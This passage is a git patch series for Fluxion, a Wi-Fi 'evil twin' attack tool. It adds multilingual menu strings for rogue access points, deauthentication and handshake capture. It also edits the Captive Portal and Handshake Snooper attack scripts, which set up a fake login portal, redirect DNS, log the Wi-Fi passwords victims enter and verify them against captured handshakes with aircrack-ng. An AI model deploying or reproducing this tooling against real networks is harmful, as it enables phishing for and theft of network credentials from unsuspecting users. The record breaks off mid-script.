+DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Sélectionnez une attaque sans fil pour le point d'accès" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Retour" +general_back="${CRed}Retour" general_exit="${CRed}Sortie" general_repeat="${CRed}Répéter l'opération" -general_error_1="Non trouvé" general_case_error="Option inconnue. Sélectionnez à nouveau" +general_error_1="Non trouvé" general_exitmode="Nettoyage et fermeture" general_exitmode_1="Désactivation de l'interface de monitoring" general_exitmode_2="Désactivation de l'interface" -general_exitmode_3="Désactivation de "$grey" transmission de paquets" -general_exitmode_4="Nettoyage de "$grey"iptables" -general_exitmode_5="Restauration de "$grey"tput" -general_exitmode_6="Redémarrage de "$grey"Network-Manager" +general_exitmode_3="Désactivation de ${CGry}transmission de paquets" +general_exitmode_4="Nettoyage de ${CGry}iptables" +general_exitmode_5="Restauration de ${CGry}tput" +general_exitmode_6="Redémarrage de ${CGry}Network-Manager" general_exitmode_7="Nettoyage effectué avec succès!" general_exitmode_8="Merci d'avoir utilisé fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Clients actifs" -selection_2="Sélectionnez une cible. Pour relancer un scan, appuyez sur la touche $red r$transparent" +selection_2="Sélectionnez une cible. Pour relancer un scan, appuyez sur la touche $CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/italiano.lang b/language/italiano.lang index 8a9ebb4..2980a9c 100644 --- a/language/italiano.lang +++ b/language/italiano.lang @@ -13,32 +13,48 @@ scanchan_option_2="Canali Multipli" header_scan="WIFI Monitor" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Seleziona Opzione d'Attacco" -askAP_option_1="Rogue AP - Hostapd ("$red"Consigliato!)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Consigliato!$CClr)" askAP_option_2="Rogue AP - airbase-ng (Connessione Lenta)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD" -askauth_option_1="Handshake ("$red"Consigliato!)" +askauth_option_1="Handshake (${CYel}Consigliato!$CClr)" askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -handshakelocation_1="posizione dell'handshake (Esempio: $red$WORK_DIR.cap$transparent)" -handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare" +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Seleziona la tua scelta" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Indietro" -general_error_1="Non_Trovato" +general_back="${CRed}Indietro" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Opzione Sconosciuta. Scegli di nuovo" +general_error_1="Non_Trovato" general_exitmode="Pulizia e chiusura" general_exitmode_1="Disabilito l'Interfaccia Monitor" general_exitmode_2="Disabilito l'Interfaccia" -general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti" -general_exitmode_4="Pulisco "$grey"iptables" -general_exitmode_5="Ripristino "$grey"tput" -general_exitmode_6="Riavvio il "$grey"Network-Manager" +general_exitmode_3="Disabilito ${CGry}l'invio dei pacchetti" +general_exitmode_4="Pulisco ${CGry}iptables" +general_exitmode_5="Ripristino ${CGry}tput" +general_exitmode_6="Riavvio il ${CGry}Network-Manager" general_exitmode_7="Pulizia avvenuta con successo!" general_exitmode_8="Grazie per aver utilizzato Fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Dispositivi connessi" -selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent" +selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/čeština.lang b/language/čeština.lang index 7f398b2..7ad98b6 100644 --- a/language/čeština.lang +++ b/language/čeština.lang @@ -13,29 +13,48 @@ scanchan_option_2="Více kanálů" header_scan="Sledování WIFI" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Vyberte metodu útočení" -askAP_option_1="Rogue AP - Hostapd ("$red"Doporučeno)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Doporučeno$CClr)" askAP_option_2="Rogue AP - airbase-ng (Pomalejší připojení)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="METHODA ZÍSKÁNÍ HESLA" -askauth_option_1="Handshake ("$red"Doporučeno)" +askauth_option_1="Handshake (${CYel}Doporučeno$CClr)" askauth_option_2="Wpa_supplicant(Více chyb)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Vyberte" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Zpět" -general_error_1="Nenalezeno" +general_back="${CRed}Zpět" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Neznámý výběr. Vyberte znovu" +general_error_1="Nenalezeno" general_exitmode="Čištění a zavírání" general_exitmode_1="Vypínání monitorovacího rozhraní" general_exitmode_2="Vypínání rozhraní" -general_exitmode_3="Vypínání "$grey"směrování packetů" -general_exitmode_4="Čištění "$grey"iptables" -general_exitmode_5="Obnovování "$grey"tput" -general_exitmode_6="Restartování "$grey"Network-Manager" +general_exitmode_3="Vypínání ${CGry}směrování packetů" +general_exitmode_4="Čištění ${CGry}iptables" +general_exitmode_5="Obnovování ${CGry}tput" +general_exitmode_6="Restartování ${CGry}Network-Manager" general_exitmode_7="Vyčištění proběhlo úspěšně!" general_exitmode_8="Děkujeme pro používání programu fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Aktivní klienti" -selection_2="Select target. Pro znovuskenování napište$red r$transparent" +selection_2="Select target. Pro znovuskenování napište$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/Ελληνικά.lang b/language/Ελληνικά.lang index 4171dc9..4a8310b 100644 --- a/language/Ελληνικά.lang +++ b/language/Ελληνικά.lang @@ -13,29 +13,48 @@ scanchan_option_2="Πολλαπλά κανάλια" header_scan="Εποπτεία Wi-Fi" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="Επίλογη τύπου επίθεσης" -askAP_option_1="Rogue AP - Hostapd ("$red"Συνιστάται)" +askAP_option_1="Rogue AP - Hostapd (${CYel}Συνιστάται$CClr)" askAP_option_2="Rogue AP - airbase-ng (Πιό αργή σύνδεση)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης" -askauth_option_1="Handshake ("$red"Συνιστάται)" +askauth_option_1="Handshake (${CYel}Συνιστάται$CClr)" askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="Επίλεξτε την επιλογή σας" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="Πίσω" -general_error_1="Δέν_βρέθηκε" +general_back="${CRed}Πίσω" +general_exit="${CRed}Exit" +general_repeat="${CRed}Repeat operation" general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά" +general_error_1="Δέν_βρέθηκε" general_exitmode="Καθαρισμός και τερματισμός" general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος" general_exitmode_2="Απενεργοποίηση περιβάλλοντος" -general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων" -general_exitmode_4="Καθαρισμός "$grey"iptables" -general_exitmode_5="Επαναφορά "$grey"tput" -general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου" +general_exitmode_3="Απενεργοποίηση ${CGry}προώθησης των πακέτων" +general_exitmode_4="Καθαρισμός ${CGry}iptables" +general_exitmode_5="Επαναφορά ${CGry}tput" +general_exitmode_6="Επανεκκίνηση ${CGry}του Διαχειριστή δικτύου" general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!" general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="Ενεργοί πελάτες" -selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent" +selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$CRed r$CClr" + +# FLUXSCRIPT END diff --git a/language/中文.lang b/language/中文.lang index 084adaf..6f70e22 100644 --- a/language/中文.lang +++ b/language/中文.lang @@ -13,27 +13,48 @@ scanchan_option_2="多个信道" header_scan="FLUXION 扫描仪" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askAP="选择攻击选项" -askAP_option_1="伪装AP - Hostapd ("$red"推荐)" +askAP_option_1="伪装AP - Hostapd (${CRed}推荐)" +askAP_option_2="Rogue AP - airbase-ng (slow)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_askauth="请选择验证密码方式" +askauth_option_1="AP handshake verification (${CYel}Recommended$CClr)" askauth_option_2="提供的wpa (易错)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +DialogQueryHashSource="Select a method to retrieve the handshake" +DialogOptionHashSourcePath="Path to capture file" +DialogOptionHashSourceDeauth="aireplay-ng deauthentication" +DialogOptionHashSourceRescan="Handshake directory (rescan)" +DialogNoticeFoundHash="A hash for the target AP was found." +DialogQueryUseFoundHash="Do you want to use this file?" +DialogQueryHashVerificationMethod="Select a method of verification for the hash" +DialogOptionHashVerificationMethod1="pyrit verification (${CGrn}recommended$CClr)" +DialogOptionHashVerificationMethod2="aircrack-ng verification (${CGry}unreliable$CClr)" +DialogQueryCertificateSource="Select SSL certificate source for captive portal" +DialogOptionCertificateSource1="Create an SSL certificate" +DialogOptionCertificateSource2="Detect SSL certificate (${CClr}search again$CGry)" +DialogQueryCaptivePortalInterface="Select a captive portal interface for the rogue network" +DialogOptionCaptivePortalGeneric="Generic Portal" +DialogNoticeAttackInProgress="attack in progress..." +DialogOptionSelectAnotherAttack="Select another attack" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> header_set_attack="为接入点选择无线攻击" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -general_back="返回" +general_back="${CRed}返回" general_exit="${CRed}出口" general_repeat="${CRed}重复操作" -general_error_1="未找到" general_case_error="未知选项. 请再次选择" +general_error_1="未找到" general_exitmode="清理并退出" -general_exitmode_3="关闭 "$grey"forwarding of packets" -general_exitmode_4="清理 "$grey"iptables" -general_exitmode_5="恢复 "$grey"tput" -general_exitmode_6="重启 "$grey"Network-Manager" +general_exitmode_1="Disabling monitoring interface" +general_exitmode_2="Disabling extra interfaces" +general_exitmode_3="关闭 ${CGry}forwarding of packets" +general_exitmode_4="清理 ${CGry}iptables" +general_exitmode_5="恢复 ${CGry}tput" +general_exitmode_6="重启 ${CGry}Network-Manager" general_exitmode_7="清理完成!" general_exitmode_8="感谢使用fluxion!" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> selection_1="活动的客户端" -selection_2="选择一个目标. 重扫 按$red r$transparent" +selection_2="选择一个目标. 重扫 按$CRed r$CClr" + +# FLUXSCRIPT END From 4985ff9c047e65aebb6879991c47aae81d89fbd9 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 17:29:13 -0500 Subject: [PATCH 3/9] Non-existent hash messages show for 3 seconds. --- fluxion.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/fluxion.sh b/fluxion.sh index a1f1995..5d6c877 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -822,6 +822,7 @@ function set_ap_service() { function check_hash() { if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then echo -e "$FLUXIONVLine Hash file does not exist!" + sleep 3 return 1; fi From 65707e252924de14fddae4654714cae4b8cb614c Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 18:36:23 -0500 Subject: [PATCH 4/9] Fixed handshake directory missing bug. --- attacks/Handshake Snooper/attack.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 2cbb979..05ad11d 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -29,6 +29,13 @@ function handshake_verifier_daemon() { # If handshake didn't pass verification, it was aborted. if [ $handshakeCheckResult -ne 0 ]; then return 1; fi + # Assure we've got a directory to store hashes into. + local hashDirectory=$(dirname "$2") + if [ ! -d "$hashDirectory" ]; then + mkdir -p "$hashDirectory" + fi + + # Move handshake to storage if one was acquired. mv "${4/.cap/-clean.cap}" "$2" # Signal parent process the verification terminated. @@ -43,9 +50,7 @@ function handshake_stop_verifier() { HANDSHAKEVerifierPID="" } -# Parameters: path, SSID, MAC function handshake_start_verifier() { - # if [ ${#@} -lt 3 ]; then return 1; fi handshake_verifier_daemon $$ \ $FLUXIONPath/attacks/Handshake\ Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap \ $HANDSHAKEVerifier $FLUXIONWorkspacePath/capture/dump-01.cap \ From c9f369d9df0fcf7af0893f429225560fa48faaec Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 9 Aug 2017 19:31:32 -0500 Subject: [PATCH 5/9] Fixed directory creation & added quotes. --- attacks/Captive Portal/attack.sh | 136 +++++++++++++++++-------------- 1 file changed, 73 insertions(+), 63 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index b544a2a..43dc0a6 100644 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -72,8 +72,8 @@ function captive_portal_set_auth() { } function captive_portal_run_certificate_generator() { - xterm -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $FLUXIONWorkspacePath/server.pem -out $FLUXIONWorkspacePath/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html - chmod 400 $FLUXIONWorkspacePath/server.pem + xterm -title "Generating Self-Signed SSL Certificate" -e openssl req -subj '/CN=captive.router.lan/O=CaptivePortal/OU=Networking/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout "$FLUXIONWorkspacePath/server.pem" -out "$FLUXIONWorkspacePath/server.pem" # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html + chmod 400 "$FLUXIONWorkspacePath/server.pem" } function captive_portal_unset_cert() { @@ -83,14 +83,14 @@ function captive_portal_unset_cert() { # Create Self-Signed SSL Certificate function captive_portal_set_cert() { # Check existance of ssl certificate with file size > 0 - if [ -f $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem -a \ - -s $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem ]; then - cp $FLUXIONPath/attacks/Captive\ Portal/certificate/server.pem \ - $FLUXIONWorkspacePath/server.pem + if [ -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ + -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" ]; then + cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ + "$FLUXIONWorkspacePath/server.pem" fi # Check existance of ssl certificate with file size > 0 - if [ -f $FLUXIONWorkspacePath/server.pem -a -s $FLUXIONWorkspacePath/server.pem ]; then + if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then echo "Captive Portal certificate is already set, skipping!" > $FLUXIONOutputDevice return 0; fi @@ -99,8 +99,8 @@ function captive_portal_set_cert() { local choices=("$DialogOptionCertificateSource1" "$DialogOptionCertificateSource2" "$general_back") - while [ ! -f $FLUXIONWorkspacePath/server.pem -o ! -s $FLUXIONWorkspacePath/server.pem ]; do - io_query_choice "$DialogQueryCertificateSource" choices[@] + while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do + io_query_choice "$DialogQueryCertificateSource" choices[@] case "$IOQueryChoice" in "$DialogOptionCertificateSource1") captive_portal_run_certificate_generator; break;; @@ -127,7 +127,7 @@ function captive_portal_unset_site() { } function captive_portal_set_site() { - if [ -d $FLUXIONWorkspacePath/captive_portal ]; then + if [ -d "$FLUXIONWorkspacePath/captive_portal" ]; then echo "Captive Portal site (interface) is already set, skipping!" > $FLUXIONOutputDevice return 0; fi @@ -163,21 +163,21 @@ function captive_portal_set_site() { case "$site" in "$DialogOptionCaptivePortalGeneric") - source $FLUXIONPath/attacks/Captive\ Portal/sites/generic/$siteLanguage + source "$FLUXIONPath/attacks/Captive Portal/sites/generic/$siteLanguage" captive_portal_generic;; "$general_back") captive_portal_unset_cert captive_portal_unset_site return 1;; * ) - mkdir $FLUXIONWorkspacePath/captive_portal &>$FLUXIONOutputDevice + mkdir "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice cp -r $FLUXIONPath/attacks/Captive\ Portal/sites/$sitePath.portal/* \ $FLUXIONWorkspacePath/captive_portal - find $FLUXIONWorkspacePath/captive_portal/ -type f -exec \ + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ sed -i -e 's/$APTargetSSID/'"$APTargetSSID"'/g' {} \; - find $FLUXIONWorkspacePath/captive_portal/ -type f -exec \ + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ sed -i -e 's/$APTargetMAC/'"$APTargetMAC"'/g' {} \; - find $FLUXIONWorkspacePath/captive_portal/ -type f -exec \ + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ sed -i -e 's/$APTargetChannel/'"$APTargetChannel"'/g' {} \;;; esac } @@ -259,7 +259,7 @@ if (\$candidate_code == 2) { if (\$replyJSON) echo json_encode([\"match\"]); else header(\"Location:final.html\"); } -?>" > $FLUXIONWorkspacePath/captive_portal/check.php +?>" > "$FLUXIONWorkspacePath/captive_portal/check.php" # Generate the dhcpd configuration file, which is # used to provide DHCP service to APRogue clients. @@ -277,10 +277,10 @@ subnet $VIGWNetwork.0 netmask 255.255.255.0 { range $VIGWNetwork.100 $VIGWNetwork.254; }\ -" > $FLUXIONWorkspacePath/dhcpd.conf +" > "$FLUXIONWorkspacePath/dhcpd.conf" #create an empty leases file - touch $FLUXIONWorkspacePath/dhcpd.leases + touch "$FLUXIONWorkspacePath/dhcpd.leases" # Generate configuration for a lighttpd web-server. echo "\ @@ -343,7 +343,7 @@ index-file.names = ( \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) } -" > $FLUXIONWorkspacePath/lighttpd.conf +" > "$FLUXIONWorkspacePath/lighttpd.conf" # Create a DNS service with python, forwarding all traffic to gateway. @@ -391,9 +391,9 @@ if __name__ == '__main__': except KeyboardInterrupt: print 'Finalizando' udps.close()\ -" > $FLUXIONWorkspacePath/fluxion_captive_portal_dns +" > "$FLUXIONWorkspacePath/fluxion_captive_portal_dns" - chmod +x $FLUXIONWorkspacePath/fluxion_captive_portal_dns + chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns" #if [ $APRogueAuthMode = "hash" ]; then @@ -420,9 +420,9 @@ function handle_abort_authenticator() { trap signal_stop_attack SIGINT SIGHUP trap handle_abort_authenticator SIGABRT -echo > $FLUXIONWorkspacePath/candidate.txt -echo -n \"0\"> $FLUXIONWorkspacePath/hit.txt -echo > $FLUXIONWorkspacePath/wpa_supplicant.log +echo > \"$FLUXIONWorkspacePath/candidate.txt\" +echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" +echo > \"$FLUXIONWorkspacePath/wpa_supplicant.log\" # Make console cursor invisible, cnorm to revert. tput civis @@ -465,44 +465,49 @@ while [ \$AuthenticatorState = \"running\" ]; do ih= fi - if [ -f $FLUXIONWorkspacePath/pwdattempt.txt -a -s $FLUXIONWorkspacePath/pwdattempt.txt ]; then + if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then + # Assure we've got a directory to store pwd logs into. + if [ ! -d \"$CaptivePortalPassLog\" ]; then + mkdir -p \"$CaptivePortalPassLog\" + fi + # Save any new password attempt. - cat $FLUXIONWorkspacePath/pwdattempt.txt >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\" + cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$APTargetSSID-$APTargetMAC.log\" # Clear logged password attempt. - echo -n > $FLUXIONWorkspacePath/pwdattempt.txt + echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" fi -" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh +" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $APRogueAuthMode = "hash" ]; then echo " - if [ -f $FLUXIONWorkspacePath/candidate_result.txt ]; then + if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". - if ! aircrack-ng -w $FLUXIONWorkspacePath/candidate.txt $FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap | grep -qi \"Passphrase not in\"; then - echo \"2\" > $FLUXIONWorkspacePath/candidate_result.txt + if ! aircrack-ng -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap\" | grep -qi \"Passphrase not in\"; then + echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" break else - echo \"1\" > $FLUXIONWorkspacePath/candidate_result.txt + echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" fi - fi" >> $FLUXIONWorkspacePath/captive_portal_authenticator.sh + fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" elif [ $APRogueAuthMode = "wpa_supplicant" ]; then echo " - wpa_passphrase \"$APTargetSSID\" \"\`cat $FLUXIONWorkspacePath/candidate.txt\`\" > $FLUXIONWorkspacePath/wpa_supplicant.conf - wpa_supplicant -i $WIAccessPoint -c $FLUXIONWorkspacePath/wpa_supplicant.conf -f $FLUXIONWorkspacePath/wpa_supplicant.log & + wpa_passphrase \"$APTargetSSID\" \"\`cat \"$FLUXIONWorkspacePath/candidate.txt\"\`\" > \"$FLUXIONWorkspacePath/wpa_supplicant.conf\" + wpa_supplicant -i \"$WIAccessPoint\" -c \"$FLUXIONWorkspacePath/wpa_supplicant.conf\" -f \"$FLUXIONWorkspacePath/wpa_supplicant.log\" & wpaSupplicantPID=\$! # Shitty design... sleep 5 - if [ -f $FLUXIONWorkspacePath/candidate_result.txt ]; then - if grep -i 'WPA: Key negotiation completed' $FLUXIONWorkspacePath/wpa_supplicant.log; then - echo \"2\" > $FLUXIONWorkspacePath/candidate_result.txt + if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then + if grep -i 'WPA: Key negotiation completed' \"$FLUXIONWorkspacePath/wpa_supplicant.log\"; then + echo \"2\" > 